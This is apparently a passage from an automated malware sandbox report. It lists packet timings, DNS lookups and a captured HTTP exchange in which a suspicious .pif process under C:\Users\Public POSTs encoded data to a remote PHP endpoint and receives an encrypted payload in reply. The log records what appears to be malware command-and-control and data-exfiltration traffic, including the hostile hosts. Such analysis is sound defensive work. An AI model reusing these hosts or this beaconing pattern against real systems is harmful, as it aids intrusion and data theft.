                                                                                    Oct 16, 2024 10:58:24.845232964 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845243931 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845269918 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845319033 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845330954 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845347881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845357895 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845359087 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845370054 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845375061 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845381975 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845391989 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845393896 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845417023 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845426083 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845433950 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845437050 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845448971 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845454931 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845473051 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845478058 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845485926 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845489979 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845508099 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845511913 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845523119 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845546007 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845577955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845587969 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845597029 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845606089 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845616102 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845616102 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845628977 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845658064 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845755100 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845766068 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845771074 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845776081 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845784903 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845794916 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845797062 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845804930 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845817089 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845823050 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845828056 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845838070 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845846891 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845846891 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845859051 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845876932 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845877886 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845887899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845897913 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845901966 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845907927 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845911980 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845933914 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845953941 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.845963001 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845973015 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845980883 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845989943 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.845999002 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846002102 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.846013069 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846015930 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.846024036 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846035004 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846043110 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.846060038 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.846064091 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846076965 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.846110106 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.846112967 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846124887 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846149921 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.846158981 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846162081 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.846169949 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846179962 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846196890 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.846210957 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.846223116 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.846261978 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846271038 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846276999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846287966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846296072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846302032 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.846313953 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.846319914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846330881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846335888 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846343040 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.846347094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846369028 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.846386909 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.846551895 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846589088 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.846592903 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846602917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846611977 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.846627951 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.846638918 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.847349882 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.847409964 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.847419977 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.847426891 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.847448111 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.847459078 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.847604036 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.847621918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.847641945 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.847651958 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.847651958 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.847677946 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.847686052 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.847711086 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.847719908 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.847734928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.847752094 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.847767115 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.847781897 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.847795963 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.847814083 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.847829103 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.847839117 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.847850084 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.847860098 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.847873926 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.847883940 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.847898006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.847908020 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.847922087 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.847932100 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.847945929 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.847954988 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.847980022 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.851027012 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.851052999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.851075888 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.851087093 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.851092100 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.851105928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.851120949 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.851135969 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.851141930 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.851167917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.851175070 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.851186991 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.851201057 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.851213932 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.851228952 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.851247072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.851253986 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.851278067 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.851284981 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.851300955 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:24.851317883 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.851335049 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.918735027 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:24.923746109 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.077189922 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.082215071 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.082379103 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.082465887 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.082528114 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.087369919 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.087439060 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.087542057 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.087585926 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.087625027 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.087637901 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.087651014 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.087663889 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.087690115 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.087704897 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.087707996 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.087718964 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.087743998 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.087754011 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.087762117 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.087801933 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.087821960 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.087835073 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.087857962 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.087871075 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.092298985 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.092370033 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.092466116 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.092478991 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.092499971 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.092524052 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.092525005 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.092536926 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.092547894 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.092570066 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.092586040 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.135622025 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.135742903 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.135790110 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:27.187580109 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:27.565772057 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:30.888230085 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:30.888324976 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:30.888389111 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:30.888421059 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:30.888634920 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:30.889919996 CEST8049850188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:30.892424107 CEST4985080192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:30.893376112 CEST8049850188.114.97.3192.168.2.6

                                                                                    UDP Packets

                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                    Oct 16, 2024 10:57:56.641535997 CEST5186553192.168.2.61.1.1.1
                                                                                    Oct 16, 2024 10:57:57.522094011 CEST53518651.1.1.1192.168.2.6
                                                                                    Oct 16, 2024 10:58:04.398304939 CEST6473753192.168.2.61.1.1.1
                                                                                    Oct 16, 2024 10:58:04.409588099 CEST53647371.1.1.1192.168.2.6

                                                                                    DNS Queries

                                                                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                    Oct 16, 2024 10:57:56.641535997 CEST192.168.2.61.1.1.10x6894Standard query (0)eaznetagencies.co.keA (IP address)IN (0x0001)false
                                                                                    Oct 16, 2024 10:58:04.398304939 CEST192.168.2.61.1.1.10x5b97Standard query (0)dsye.shopA (IP address)IN (0x0001)false

                                                                                    DNS Answers

                                                                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                    Oct 16, 2024 10:57:57.522094011 CEST1.1.1.1192.168.2.60x6894No error (0)eaznetagencies.co.ke170.10.161.45A (IP address)IN (0x0001)false
                                                                                    Oct 16, 2024 10:58:04.409588099 CEST1.1.1.1192.168.2.60x5b97No error (0)dsye.shop188.114.97.3A (IP address)IN (0x0001)false
                                                                                    Oct 16, 2024 10:58:04.409588099 CEST1.1.1.1192.168.2.60x5b97No error (0)dsye.shop188.114.96.3A (IP address)IN (0x0001)false

                                                                                    HTTP Request Dependency Graph

                                                                                    • eaznetagencies.co.ke
                                                                                    • dsye.shop

                                                                                    HTTP Packets

                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                    0192.168.2.649735188.114.97.3805412C:\Users\Public\Libraries\uhvutpdX.pif
                                                                                    TimestampBytes transferredDirectionData
                                                                                    Oct 16, 2024 10:58:04.455368042 CEST277OUTPOST /DS341/index.php HTTP/1.1
                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
                                                                                    Host: dsye.shop
                                                                                    Content-Length: 115
                                                                                    Cache-Control: no-cache
                                                                                    Data Raw: 00 00 00 45 14 8b 30 62 ef 26 66 9a 26 66 9a 46 70 9d 35 70 9c 47 70 9d 3a 70 9d 37 70 9d 32 70 9d 37 70 9d 3a 70 9d 33 70 9d 34 14 8b 31 11 8b 30 62 ef 26 66 99 26 66 9a 26 66 9f 26 66 9e 26 66 99 26 66 97 26 67 ea 26 66 99 26 66 9d 46 16 8b 30 67 ef 26 66 9a 46 70 9c 47 70 9d 30 70 9d 32 70 9d 35 70 9d 36 70 9d 3b 70 9d 33 70 9d 34 70 9d 30
                                                                                    Data Ascii: E0b&f&fFp5pGp:p7p2p7p:p3p410b&f&f&f&f&f&f&g&f&fF0g&fFpGp0p2p5p6p;p3p4p0
                                                                                    Oct 16, 2024 10:58:06.263660908 CEST1236INHTTP/1.1 200 OK
                                                                                    Date: Wed, 16 Oct 2024 08:58:06 GMT
                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                    Transfer-Encoding: chunked
                                                                                    Connection: close
                                                                                    X-Powered-By: PHP/5.6.37
                                                                                    Vary: Accept-Encoding,User-Agent
                                                                                    cf-cache-status: DYNAMIC
                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U3uEPjF3hlIBlwJFM9ynW4eKXLqTDHq%2BWxhZBzw3y2pzYX7UmhD%2BUsLuHoYnH8565d2r%2FR%2FWyTojWtfcxFTzdBOaEqxGyQMdu%2FMMfVIFaLHNm9%2F%2B5uZKM%2FFLSTE%3D"}],"group":"cf-nel","max_age":604800}
                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                    Server: cloudflare
                                                                                    CF-RAY: 8d36d8554f7fe546-DFW
                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                    Data Raw: 34 33 66 61 0d 0a 3f 36 90 4f 06 dd 71 1e d7 33 21 e2 50 65 dc 48 22 9e 48 07 c9 68 2d ed 50 03 f8 56 65 f8 50 00 e8 49 05 fc 68 39 e3 51 06 f8 60 07 e9 55 2f cf 30 07 d8 60 13 d9 49 1e c7 36 65 cb 4b 04 dd 48 3c 9b 68 37 9c 4e 24 e2 40 3a db 66 12 d6 79 1e c7 74 24 e2 6e 07 d8 5a 66 c9 72 19 ed 6c 20 cd 44 07 c3 48 3c d9 72 19 c0 6b 26 cd 30 32 df 40 01 e3 74 16 fd 70 1f e2 52 3e e0 40 3e f7 49 18 c9 68 39 f8 55 1b e8 56 39 ec 50 01 9e 59 1f fa 46 00 c2 5b 10 fc 75 0c 9d 55 21 f4 54 60 9e 60 64 d9 49 1e c7 36 65 cb 4b 04 dd 48 3c 9b 68 37 9c 4e 24 e2 40 3a db 66 12 d6 79 1e c7 74 24 e2 6e 07 d8 5a 66 c9 72 19 ed 6c 20 cd 44 07 c3 48 3c d9 72 19 c0 6b 26 cd 30 32 df 40 01 e3 74 16 fd 70 1f e2 52 3e e0 40 3e f7 49 0f e9 3a 66 cc 6e 2d d8 5a 02 ff 49 1f f8 55 01 fc 55 1f ff 56 3e 97 44 06 fb 7b 13 e4 55 2d eb 61 66 ca 76 37 e9 3a 3d f4 4b 1b cd 40 06 c1 76 31 e6 6b 65 e2 40 3a db 59 12 97 69 1e c7 74 24 e2 6d 3d dd 60 2c c1 70 1e c7 36 3e cc 31 1b 9a 48 3c d9 72 19 c0 41 3e f4 6a 3a dd 48 3c 9b 37 37 [TRUNCATED]
                                                                                    Data Ascii: 43fa?6Oq3!PeH"Hh-PVePIh9Q`U/0`I6eKH<h7N$@:fyt$nZfrl DH<rk&02@tpR>@>Ih9UV9PYF[uU!T``dI6eKH<h7N$@:fyt$nZfrl DH<rk&02@tpR>@>I:fn-ZIUUV>D{U-afv7:=K@v1ke@:Yit$m=`,p6>1H<rA>j:H<77Mad>Nq3R%@w3R>MvR iO?7ste?z=i=ZyH^aVy\/eKVK\O[3Wffe0b3ffe0B3Tffe03Tffe03Tffe03Zyk9S#%G2pA5F^vVt^F9=&3Tffet;_j0UjCQ1
                                                                                    Oct 16, 2024 10:58:06.263686895 CEST1236INData Raw: c7 55 0c ee f3 ac a0 ca 6a 03 f7 fd a2 53 f6 9d 91 ae a1 04 23 66 65 e3 ca 32 9e 83 27 e9 9f 54 66 66 65 af cb 30 9e e2 9d c9 12 5f 67 68 6f af cd 30 9e 02 99 cb 33 54 66 66 65 af cb 30 9e 02 8d cb 33 54 46 66 65 af cb 30 8e 02 8d cb 33 54 64 66
                                                                                    Data Ascii: UjS#fe2'Tffe0_gho03Tffe03TFfe03Tdfe03^ffe03Tdfe06Tfbe03Tvfe03Twfe03Tffe03Tffe03l[fe03Tvfe03Tffe03Tffe03Tffe03Tffe0
                                                                                    Oct 16, 2024 10:58:06.263703108 CEST1236INData Raw: ae 51 fa 41 f2 a5 40 3b 0a 03 32 af 98 55 ea 41 f2 a5 40 3b 0a 03 26 db b9 5c d6 63 f3 af 5f 31 14 66 0e ca b9 5e fb 6e ae f9 1d 07 03 12 26 c0 a5 43 f1 6e f8 88 47 26 0a 2e 04 c1 af 5c fb 70 9d 98 56 20 25 09 0b dc a4 5c fb 4f f2 af 56 54 0d 03
                                                                                    Data Ascii: QA@;2UA@;&\c_1f^n&CnG&.\pV %\OVT\0V %\OVT1sl_1'f^n_qVf1Um\81eBgz1sl_11fe03Tffe03Tffe03Tffe03Tffe03Tffe0
                                                                                    Oct 16, 2024 10:58:06.263803005 CEST1236INData Raw: cb 58 9e 76 9d cb 33 fd 66 46 65 e2 cb 59 9e 61 9d b9 33 3b 66 15 65 c0 cb 56 9e 76 9d eb 33 17 66 09 65 dd cb 40 9e 6d 9d b9 33 35 66 12 65 c6 cb 5f 9e 6c 9d e5 33 74 66 27 65 c3 cb 5c 9e 22 9d b9 33 3d 66 01 65 c7 cb 44 9e 71 9d eb 33 26 66 03
                                                                                    Data Ascii: Xv3fFeYa3;feVv3fe@m35fe_l3tf'e\"3=feDq3&feUp31fe0<3Uf)eYe3:fevk31fe]g35feCg3'feR3>fCe`p30feDL39fe0O37feCm3 fegk30feC3feB
                                                                                    Oct 16, 2024 10:58:06.263827085 CEST848INData Raw: c9 33 9f 02 9c 68 b1 55 6f 56 e7 ae ce 00 83 04 9e 9e 2e 5a 62 70 61 bb 2e 57 a8 57 c2 7b ca 06 a3 ca 2e 79 a5 05 21 8a a7 66 76 fb 56 79 63 ac 9e 2d bd 06 85 fb 25 d4 72 45 51 57 12 62 d8 72 97 26 73 af 10 9d d6 84 7b f3 ab b1 92 fb 67 52 65 33
                                                                                    Data Ascii: 3hUoV.Zbpa.WW{.y!fvVyc-%rEQWbr&s{gRe3x}I#Dr7KSmU H@kA8IEv~=VVVs,_d>`m12P*V/6)6QaVg)Xv{Yp\2HiP1Yp\22c
                                                                                    Oct 16, 2024 10:58:06.263850927 CEST1236INData Raw: 62 6d 76 ac 8a 7f dd 33 83 fb 2f 52 65 33 61 ac d8 25 d3 6b fe b9 5c 27 09 00 11 8f 88 5f ec 72 f2 b9 52 20 0f 09 0b 9f 49 31 bc 32 90 cd 3a 7e e0 2e e3 58 c6 31 9f 03 98 cb 30 d6 67 69 65 9f 49 31 94 00 1f ca 32 54 ff 08 78 fc 9e 9b 03 b0 2f d0
                                                                                    Data Ascii: bmv3/Re3a%k\'_rR I12:~.X10gieI12Tx/nav9P4TY|E8mLLguq,.BFVz4@RUh^,%W Q6_/=N!|tIs^2K$}]cDS\X
